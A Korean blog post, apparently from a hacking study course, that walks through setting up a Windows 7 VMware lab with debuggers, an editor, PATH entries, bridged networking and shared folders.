Sublime Text는 위에 Add to explorer context menu 를 활성화 시켜주고 설치해주자.

image

Sublime Text 설치가 완료되었으면 메모장 속성으로 들어가 Opens with 를 Sublime Text 로 바꿔주도록 하자

나머지 Chrome 과 ImmunityDbugger, processhacker 도 모두 받아주도록 하자.

image

모두 받았으면 다음 경로에서 Internet Explorer 폴더 안에 iexplore.exe, Sublime Text 3 안에 sublime_text.exe 파일들의 shortcut ( 바로가기 )을 바탕화면에 생성해준다.

image

그 후 가상 머신 바탕화면에 windowsR 이라는 폴더를 만들어주고 툴들을 옮긴 뒤 다음과 같이 이름을 바꾸어 준다.

  1. iexplore -> ie
  2. ImmunityDebbuger -> imm
  3. processhacker -> pro
  4. Sublime Text -> sub
  5. windbg -> windbg

image

이제 환경 변수를 설정해줄건데, 윈도우 검색창에 path 를 검색하여 Edit the system environment variables를 눌러줍시다.

image

빨간 박스 창을 눌러주고

image

아래 System variables 에서 Path 를 찾아 더블 클릭해준다.

image

그럼 빨간 박스부분 초기값이

%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;c:\Program Files\Microsoft SQL Server\100\Tools\Binn\;c:\Program Files\Microsoft SQL Server\100\DTS\Binn\

일 텐데

%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;c:\Program Files\Microsoft SQL Server\100\Tools\Binn\;c:\Program Files\Microsoft SQL Server\100\DTS\Binn\;C:\Python27\;C:\Users\WIN7SP1x86\Desktop\windowsR

로 바꾸어 주자. 환경 변수 설정은 ;을 기준으로 변수를 구분하고 경로를 설정해주면 된다. 우리가 방금 한 설정은 환경 변수에 Python, windowsR에 들어가 있는 다양한 툴들을 설정해준 것이다.

image

이렇게 환경변수를 설정해주면 좋은 점이 Windows + R 키를 사용하여 파일 명을 쓰는 것으로 간단하게 파일을 실행시킬 수 있다.

image

여기까지 사용할 프로그램들의 설치와 환경 변수 설정이었다.

<!doctype html>

Training 2020 #0 환경 설정하기

Training 2020은 포너블 스터디에서 선배님이 진행해주신 윈도우시스템해킹가이드 라는 책을 기반으로 한 특강이다.

image

이러한 폴더를 제공 받았다.

image

폴더 안에는 각 단계별로 사용할 파일들을 분류해둔 폴더들이 있다. 그리고 맨 밑 폴더에는 vm 환경설정을 위한 Windows 7 32bit 파일이 들어있다.

지금은 환경 설정을 하기 위한 시간이니 맨 밑 폴더로 들어가도록 하겠다.

image

맨 밑 폴더 안에 파일들이다. 보통 외부강의(?)같은 것들을 나가게 되면 가상환경을 설정한 .ovf파일을 주니 이 파일을 더블 클릭해서 vmware에 올리기만 하면 된다.


vmware에 등록이 되었으면 vmware 설정을 해주어야 한다.

image

처음 vmware 설정을 열면 Network Adapter 에 NAT 방식일 것이다. Bridged 방식으로 바꾸어 주자.

image

다음으로는 공유 폴더를 설정해줘야 하는데 로컬 데스크톱 바탕화면에 WSF 라는 폴더를 추가해주자. 그리고 안에 training2020폴더 또한 넣어주도록 하자.

image

다 옮겼으면 vmware 설정으로 돌아가서 Shared Folders 설정의 초기값이 Disabled 로 되어있을텐데 Always enabled로 변경해주고 Add를 눌러 공유 폴더를 추가해준다.

image

설정을 한뒤 가상 머신 파일 탐색기에 Netwrok 란에 vmware-host가 나오면 공유폴더 설정에 성공한 것이다.

image

앞으로 Training2020 폴더를 매우 많이 들락날락하게 될텐데 그때마다 왔다갔다하기 귀찮으니 shorcut( 바로가기 )을 생성해 가상 머신 바탕화면에 두도록 하자.

image

다 설정하고 나면 이러한 화면이 보일 것이다. ( 왼쪽 폴더들은 무시해주세요 ㅎㅎ; ) 여기까지 됬으면 vmware 세팅은 다 끝났다!

+ Recent posts